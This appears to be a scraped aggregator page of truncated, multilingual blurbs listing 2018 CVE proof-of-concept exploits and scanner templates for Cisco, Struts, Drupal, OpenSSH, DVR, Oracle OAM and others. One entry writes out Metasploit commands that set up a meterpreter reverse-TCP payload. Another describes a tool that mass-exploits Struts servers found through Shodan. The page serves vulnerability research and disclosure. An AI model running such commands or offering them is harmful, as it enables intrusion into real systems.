CVE-2018-4150

CVE-2018-4150 由 @cmwdotme 提供的 CVE-2018-4150 概念验证...

CVE-2018-2628

脆弱性テスト シェルのアップロード 方法一： 方法二： シェルの実行 Meterpreterの取得 root@kitploit: msf use exploit/multi/script/webdelivery msf exploitmulti/script/webdelivery set target 3 target = 3 msf exploitmulti/script/webdelivery set payload windows/meterpreter/reversetcp payload = windows/meterpreter/reversetcp msf...

CVE-2018-0101-DOS-POC

CVE-2018-0101-DOS-POC DOS 来源：https://pastebin.com/YrBcG2Ln 此POC并非由我发布。使用风险自负。...

Cisco-Smart-Exploit

Cisco-Smart-Exploit Cisco SmartInstall エクスプロイト CVE-2018-0171 C. Papathanasiou PoC から触発されました この Python 3 スクリプトは、SmartInstall を実行している Cisco デバイスのポート 4786 を使用して CVE-2018-0171 を悪用します。このエクスプロイトを使用すると、攻撃者はペイロードを作成し、Cisco デバイスに送信して、running-config ファイルの内容を抽出できます。 Cisco Smart Exploit スクリプトは次のことが可能です: 抽出...

Apache-Struts-Shodan-Exploit

Apache Struts Shodan Exploit PoC 作成者: @037 オリジナルのコードはこちらにあります。 このツールは、CVE-2018-11776 と Shodan を利用して、検証済みの脆弱な Apache Struts サーバーを大量に攻撃します。 Shodan の検索パラメータは意図的に省略されており、悪意のある目的でこのツールを使おうとするスキッドを排除しています。このツールは攻撃ツールではなく、研究者向けの概念実証として作成されています。...

CVE-2018-15473-Exploit

CVE-2018-15473-エクスプロイト 2018年8月15日、以下のアドバイザリがOSS-Securityリストに公開されました: http://openwall.com/lists/oss-security/2018/08/15/5 ShelIntelチームは、この脆弱性に対するエクスプロイトを作成するために時間を費やしました。 以下のエクスプロイトには次の機能があります: Threading - デフォルトは5 10以上使用すると、OpenSSHサービスが過負荷になり、リトライが発生することがよくあります。 usernameパラメータを使用した単一ユーザー名の評価...

CVE-2018-11776

CVE-2018-11776 CVE-2018-11776 漏洞的 PoC 脚本...

ExploitVelotiSmart

ExploitVelotiSmart 允许利用LFI漏洞 CVE-2018-14064 https://medium.com/@s1kr10s/velotismart-0day-ca5056bcdcac https://www.exploit-db.com/exploits/45030/...

CVE-2018-6574

This repository does not have a README...

drupalgeddon2-cli

drupalgeddon2-cli Una reescritura en línea de comandos del proof-of-concept de Drupalgeddon2 CVE-2018-7600 , construida como ejercicio de estudio mientras trabajaba en el módulo Attacking Common Applications de Hack The Box Academy. !WARNING Solo para pruebas de seguridad autorizadas y educación...

WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option

The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file. id: CVE-2018-19207 info: name: WP GDPR Compliance 1.4.3 - Unauthenticated Call Any Action or...

Jolokia Agent - JNDI Code Injection

Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode. id: CVE-2018-1000130 info: name: Jolokia Agent - JNDI Code Injection author: milo2012 severity: high description: | Jolokia agent i...

Splunk <=7.0.1 - Information Disclosure

Splunk through 7.0.1 is susceptible to information disclosure by appending raw/services/server/info/server-info?outputmode=json to a query, as demonstrated by discovering a license key. id: CVE-2018-11409 info: name: Splunk =7.0.1 - Information Disclosure author: harshbothra severity: medium...

Roxy Fileman 1.4.5 - Unrestricted File Upload

Roxy Fileman 1.4.5 is susceptible to unrestricted file upload via upload.php. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. id: CVE-2018-20526 info: name: Roxy Fileman 1.4.5 -...

GitList < 0.6.0 Remote Code Execution

klaussilveira GitList version = 0.6 contains a passing incorrectly sanitized input via the searchTree function that can result in remote code execution. id: CVE-2018-1000533 info: name: GitList 0.6.0 Remote Code Execution author: pikpikcu severity: critical description: klaussilveira GitList...

POC-CVE-2018-7600

POC-CVE-2018-7600 Drupal が CVE-2018-7600 に対して脆弱 Drupalgeddon2 スキャナー CVE-2018-7600 CVE-2018-7600 Drupalgeddon2 に対して脆弱な可能性がある Drupal サーバーを検出するためのシンプルな Python スキャナーです。 このスクリプトは エクスプロイトやシェルの起動は行わず 、以下のみを行います: 1. user/password フローにリクエストを送信します。 2. レスポンスが Drupal サイトからのものかを確認します。 3. テスト用の 2...

CVE-2018-9995-rs

概要 このリポジトリには、CVE-2018-9995を対象としたRustで実装された概念実証（PoC）エクスプロイトが含まれています。このコードは研究および教育目的のみに使用されます。 CVE詳細 識別子: CVE-2018-9995 概要: 脆弱性を示す概念実証エクスプロイト（技術的な詳細は公開アドバイザリを参照）。 必要条件 Rustツールチェーン（安定版） — rustc と cargo。 Linux または Rust がサポートする任意のプラットフォーム。 使用方法 このリポジトリはPoCです。一般的な使用例： root@kitploit: cargo run -- IP POR...

exim-rce-cve-2018-6789

Exim RCE CVE-2018-6789 学习环境 描述 这是一套文件、脚本、笔记等，用于搭建环境以研究 Exim RCE CVE-2018-6789。可用于调试 Exim、编写漏洞利用代码、追踪 Exim 函数调用、了解 Exim 自定义内存管理（storeblocks）、理解真实世界漏洞利用的工作原理等。 仅应用于学术目的！ 要求 Vagrant 配合 libvirt/KVM（vagrant-libvirt 插件） Docker（仅当你决定在宿主机上运行 Docker 而非在 Vagrant 虚拟机内时） 设置 通过执行以下命令下载 Exim 的源代码： root@kitploi...

CVE-2018-9995-DVR-Credentials-Extractor

工具 显示 DVR 凭据 root@kitploit: 原始工具： https://github.com/ezelf/CVE-2018-9995dvrcredentials 漏洞标题： "Gets DVR Credentials" CVE： CVE-2018-9995 CVSS 基础评分 v3： 7.3 / 10 CVSS 向量字符串： CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N 日期： 09/04/2018 漏洞作者： Fernandez Ezequiel twitter:@capitanalfa . 漏洞利用： root@kitploit...

oracle-oam-authentication-bypas-exploit

Oracle Access Manager OAM 認証バイパスエクスプロイト はじめに Oracle Access Manager OAM のパディングオラクルの脆弱性 CVE-2018-2879 を悪用して、有効なユーザー名を使用して OAM で保護された任意の Web アプリケーションに認証バイパスを行いログインします。 このエクスプロイトは、SEC Consult によって発見された OAM パディングオラクルの脆弱性に基づいており、OAM v12.2.1.3.0 でテストされました。 root@kitploit:...